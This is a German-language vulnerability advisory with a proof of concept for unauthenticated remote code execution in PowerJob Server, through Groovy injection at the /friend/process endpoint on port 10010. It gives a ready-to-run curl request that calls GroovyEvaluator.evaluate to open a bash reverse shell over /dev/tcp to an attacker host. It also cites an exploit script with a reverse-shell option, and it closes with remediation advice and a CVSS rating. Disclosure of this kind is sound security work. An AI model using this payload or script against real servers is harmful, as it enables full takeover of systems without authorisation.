
Nicht authentifizierter Remote-Code-Execution-Exploit für PowerJob Server über Groovy-Injection im /friend/process-Endpunkt, der die Ausführung beliebiger Befehle und Reverse Shells ermöglicht.
/friend/process (Groovy-Injection)Der PowerJob Server (verteiltes Job-Scheduling-/Computing-Framework) stellt den Endpunkt /friend/process auf seinem Worker↔Server-Transport-Layer-HTTP-Port 10010 ohne jegliche Authentifizierung bereit. Der Endpunkt spiegelt eine beliebige öffentliche Methode einer beliebigen Spring-Bean wider; ein Angreifer, der GroovyEvaluator.evaluate aufruft, kann beliebige Groovy-Ausdrücke ausführen und so nicht authentifizierte Remote Code Execution erreichen. Das Standard-docker-compose veröffentlicht diesen Port auf 0.0.0.0, sodass ein Server ohne jegliche Zugangsdaten vollständig kompromittiert werden kann.
docker-compose.yml:29-33,47-48 veröffentlicht 10010 (HTTP-Transport), 10086 (AKKA), 10077 (MU) auf dem Host 0.0.0.0| Element | Wert |
|---|---|
| Auslösender Endpunkt | POST http://<server>:10010/friend/process |
| Registrierung | FriendActor.java @Actor(path = "friend") + @Handler(path = "process") (für alle drei Protokolle registriert: HTTP/MU/AKKA) |
| Reflektive Ausführung | RemoteRequestProcessor.processRemoteRequest() |
| Gefährliche Senke | GroovyEvaluator.evaluate() → ScriptEngine.eval() |
| Fehlende Authentifizierung | HttpVertxCSInitializer (HTTP) / MuServerHandler (MU) registrieren Routen ohne jegliche Token-/Signaturprüfung |
Wichtige Quelldateien (relativ zum Repository-Stammverzeichnis):
powerjob-remote/powerjob-remote-impl-http/src/main/java/tech/powerjob/remote/http/HttpVertxCSInitializer.java (registriert die 10010-Routen, keine Authentifizierung)powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/FriendActor.java:40-53powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/redirector/RemoteRequestProcessor.java:17-37powerjob-server/powerjob-server-core/src/main/java/tech/powerjob/server/core/evaluator/GroovyEvaluator.java:17-28RemoteRequestProcessor.processRemoteRequest vertraut den Feldern className, methodName, parameterTypes und args des Anforderungstexts vollständig — es verwendet Class.forName + SpringUtils.getBean, um eine beliebige Spring-Bean zu erhalten, und ruft dann über Spring ReflectionUtils eine beliebige ihrer öffentlichen Methoden auf.GroovyEvaluator ist eine @Component-Bean, deren evaluate(String, Object) die Groovy-Script-Engine (ScriptEngineManager) aufruft, um den Ausdruck des Angreifers direkt per eval() auszuführen.Die Kombination der drei Faktoren ergibt nicht authentifizierte RCE.
RemoteProcessReq-JSON, die auf GroovyEvaluator.evaluate mit einem beliebigen Groovy-Ausdruck abzielt (z. B. 'id'.execute().text).AskResponse.data (Base64-JSON) zurückgegeben.Umgebung: JDK 17, aus dem Quellcode erstellte powerjob-server-starter-5.1.2.jar (daily-Profil), Server lauscht auf 192.168.49.128:10010. Erneut verifiziert auf JDK 21 (das Shell-Form-Payload unten funktioniert auf beiden; siehe Hinweis zu File.write unten).
curl -s http://192.168.49.128:10010/friend/process -H 'Content-Type: application/json' -d '{
"className": "tech.powerjob.server.core.evaluator.GroovyEvaluator",
"methodName": "evaluate",
"parameterTypes": ["java.lang.String","java.lang.Object"],
"args": ["['/bin/sh','-c','bash -i >& /dev/tcp/reverseip/reverseport 0>&1 &'].execute().text", null]
}'
Tatsächliche Antwort: {"success":true,"data":"InJldmVyc2Utc2hlbGwtbGF1bmNoZWQi"}. Die Base64-Decodierung des data-Felds ergibt die Befehlsausgabe, die auf der Server-JVM ausgeführt wurde:

Alternativ können Sie es mit dem Skript reproduzieren:
python3 powerjob_friend_process_rce.py 192.168.49.128:10010 --reverse-shell 192.168.3.17:7878
/friend/process ist Teil der internen Server↔Worker-Kommunikation; es sollte nicht authentifizierte Anfragen ablehnen, oder die Methode sollte überhaupt nicht remote aufrufbar sein.RemoteRequestProcessor in eine Whitelist: Beschränken Sie className/methodName auf framework-definierte sichere Handler und verbieten Sie die reflektive Invokation beliebiger Beans.GroovyEvaluator strikt (falls es erhalten bleiben muss, fügen Sie Authentifizierung und eine Sandbox hinzu)./friend/process (S4S_HANDLER_PROCESS) standardmäßig oder beschränken Sie es nur auf interne Quellen.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Kritisch
mvn -B -DskipTests -pl powerjob-server/powerjob-server-starter -am package/friend/process ist ohne Datenbank auslösbar)java -Xmx512m -jar powerjob-server-starter-5.1.2.jar --spring.profiles.active=daily ...